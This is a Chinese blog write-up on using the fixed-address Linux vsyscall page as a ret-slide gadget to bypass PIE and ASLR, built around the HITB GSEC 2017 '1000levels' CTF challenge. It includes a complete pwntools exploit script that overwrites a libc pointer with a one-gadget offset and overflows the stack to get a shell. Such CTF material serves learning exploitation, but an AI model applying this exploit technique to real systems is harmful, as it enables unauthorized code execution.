美文网首页
vsyscall总结

vsyscall总结

作者: HAPPYers | 来源:发表于2019-12-01 16:22 被阅读0次

利用vsyscall/vsdo技术bypass PIE

我们知道,在开启了ASLR的系统上运行PIE程序,就意味着所有的地址都是随机化的。然而在某些版本的系统中这个结论并不成立,原因是存在着一个神奇的vsyscall。(由于vsyscall在一部分发行版本中的内核已经被裁减掉了,新版的kali也属于其中之一。vsyscall在内核中实现,无法用docker模拟,因此任何与vsyscall相关的实验都改成在Ubuntu 16.04上进行,同时libc中的偏移需要进行修正)

cat /proc/self/maps查看

00400000-0040c000 r-xp 00000000 08:01 1308185                            /bin/cat
0060b000-0060c000 r--p 0000b000 08:01 1308185                            /bin/cat
0060c000-0060d000 rw-p 0000c000 08:01 1308185                            /bin/cat
0060d000-0062e000 rw-p 00000000 00:00 0                                  [heap]
7f607413e000-7f6074afd000 r--p 00000000 08:01 663211                     /usr/lib/locale/locale-archive
7f6074afd000-7f6074cbd000 r-xp 00000000 08:01 136567                     /lib/x86_64-linux-gnu/libc-2.23.so
7f6074cbd000-7f6074ebd000 ---p 001c0000 08:01 136567                     /lib/x86_64-linux-gnu/libc-2.23.so
7f6074ebd000-7f6074ec1000 r--p 001c0000 08:01 136567                     /lib/x86_64-linux-gnu/libc-2.23.so
7f6074ec1000-7f6074ec3000 rw-p 001c4000 08:01 136567                     /lib/x86_64-linux-gnu/libc-2.23.so
7f6074ec3000-7f6074ec7000 rw-p 00000000 00:00 0 
7f6074ec7000-7f6074eed000 r-xp 00000000 08:01 136539                     /lib/x86_64-linux-gnu/ld-2.23.so
7f60750ae000-7f60750d3000 rw-p 00000000 00:00 0 
7f60750ec000-7f60750ed000 r--p 00025000 08:01 136539                     /lib/x86_64-linux-gnu/ld-2.23.so
7f60750ed000-7f60750ee000 rw-p 00026000 08:01 136539                     /lib/x86_64-linux-gnu/ld-2.23.so
7f60750ee000-7f60750ef000 rw-p 00000000 00:00 0 
7ffec1210000-7ffec1231000 rw-p 00000000 00:00 0                          [stack]
7ffec1238000-7ffec123b000 r--p 00000000 00:00 0                          [vvar]
7ffec123b000-7ffec123d000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

多次运行后,发现vsyscall的地址一直保持在固定的地址ffffffffff600000-ffffffffff601000
使用gdb dump这段内存dump memory ./dump 0xffffffffff600000 0xffffffffff601000


我们看到,syscall的机器码是0F 05
这里面有三个系统调用,从上到下分别是gettimeofday, timegetcpu
如果直接设置rip执行0xffffffffff600007的syscall时发现提示段错误(got SIGSEGV signal (Segmentation violation))。显然,我们没办法直接利用vsyscall中的syscall指令。这是因为vsyscall执行时会进行检查,如果不是从函数开头执行的话就会出错。因此,我们唯一的选择就是利用0xffffffffff600000, 0xffffffffff600400, 0xffffffffff600800这三个地址。

例题

HITB GSEC CTF 2017-1000levels

利用

在无法只能修改地址。且只能加减地址,不能泄露地址的时候,例如,我们可以修改栈上的glic地址为One gadget。但是由于题目的局限,这个修改后的one gadget离当前栈的ret地址有一定距离(处于其高位),那么配合栈溢出,我们可以覆盖ret地址为0xffffffffff600000作为NOP Slide,且一直填充到one gadget的地方,这样就能滑动过去知道One gadget了。

一般通过gettimeofday,即地址0xffffffffff600000这样的gadget有以下目的

  1. 利用其调用成功后rax返回值为0的特性,使one gadget顺利执行。
  2. 有点类似于NOP slide的思想,即写shellcode的时候在前面用大量的NOP进行填充。由于NOP是一条不会改变上下文的空指令,因此执行完一堆NOP后执行shellcode对shellcode的功能并没有影响,且可以增加地址猜测的范围,从一定程度上对抗ASLR。这里我们同样可以用ret指令不停地“滑”到下一条。由于程序开了PIE且没办法泄露内存空间中的地址,我们找不到一个可靠的ret指令所在地址。这个时候vsyscall就派上用场了。因为0xffffffffff600000这个地址是固定且已知的。在无法泄露任何地址(包括开pie程序的或者libc的)的时候,作为少有的固定地址,0xffffffffff600000很适合于作rop链或者NOP Slide

由于vsyscall地址的固定性,这个本来是为了节省开销的设置造成了很大的隐患,因此vsyscall很快就被新的机制vdso所取代。与vsyscall不同的是,vdso的地址也是随机化的,且其中的指令可以任意执行,不需要从入口开始。

1000levels exp

下面是1000levels 在Ubuntu16.04, glibc2.23的环境下的exp

#!/usr/bin/python
#coding:utf-8
from pwn import * 
io = process("1000levels")
#io.interactive()
libc_base = -0x45390    #0x456a0 #0x45390                   #减去system函数离libc开头的偏移
one_gadget_base = 0x4526a#0x45526               #加上one gadget rce离libc开头的偏移
vsyscall_gettimeofday = 0xffffffffff600000
def answer():
    io.recvuntil('Question: ') 
    answer = eval(io.recvuntil(' = ')[:-3])
    io.recvuntil('Answer:')
    io.sendline(str(answer))
io.recvuntil('Choice:')
io.sendline('2')                        #让system的地址进入栈中
io.recvuntil('Choice:')
io.sendline('1')                        #调用go()
io.recvuntil('How many levels?')
io.sendline('-1')                       #输入的值必须小于0,防止覆盖掉system的地址
io.recvuntil('Any more?')
io.sendline(str(libc_base+one_gadget_base))     #第二次输入关卡的时候输入偏移值,从而通过相加将system的地址变为one gadget rce的地址
for i in range(999):                            #循环答题
    log.info(i)
    answer()
io.recvuntil('Question: ')
#gdb.attach(io,"b _read \n")
io.send('a'*0x38 + p64(vsyscall_gettimeofday)*3)    #最后一次回答,通过padding和三个vsyscall中的系统调用执行到one gadget RCE
#io.interactive()
#vsyscall充当了ret的角色,思想类似于NOP slide
io.interactive()

总结

分析文章

vsyscall的局限

分配的内存较小;
只允许4个系统调用;
Vsyscall页面在每个进程中是静态分配了相同的地址;

vdso

提供和vsyscall相同的功能,同时解决了其局限。
vDSO是动态分配的,地址是随机的;
可以提供超过4个系统调用;
vDSO是glibc库提供的功能;

相关文章

  • vsyscall总结

    利用vsyscall/vsdo技术bypass PIE 我们知道,在开启了ASLR的系统上运行PIE程序,就意味着...

  • vsyscall

    https://alittleresearcher.blogspot.com/2017/04/linux-vdso...

  • nctf2018 | pwn wp

    babystack 这道题目用到了一个 vsyscall 的点。。。 保护 : nx , pie 限制 : 输入长...

  • vsyscall返回值

    对于one gadget,经常需要满足一些特定条件,如RAX 为NULL(0),x86_64能够利用的几个gadg...

  • 专题总结(待续。。。)

    质粒总结 引物总结 抗体总结 细胞系总结 模式动物总结 机制功能总结

  • 工作总结――让你欢喜让你忧

    哇哈哈,工作总结...... 工作中,我们常会被要求写各种总结,活动总结、销售总结、培训总结、月总结、季度总结.....

  • 工作总结万能公式

    总结汇报是职场上经常遇到的事,有周总结、月总结、季度总结、年中总结、年终总结、重点项目总结、重要环节总结等...

  • 缺不了的总结

    从小到大,缺不了的总结。知识点总结,读书电影的观后感,章节总结,学科总结,学期总结,新年总结,工作周总结月总结年中...

  • Java 知识点总结

    Java技术总结 总结内容如下: 1.语法总结, 2 面向对象总结, 3 线程总结, 4 输入输出流总结, 5 集...

  • 写在三十六岁(5)

    总结 又是一年十二月,各种总结开始写起,工作总结、家庭总结、财务总结…… 总结有它一定的存在的...

网友评论

      本文标题:vsyscall总结

      本文链接:https://www.haomeiwen.com/subject/fcyawctx.html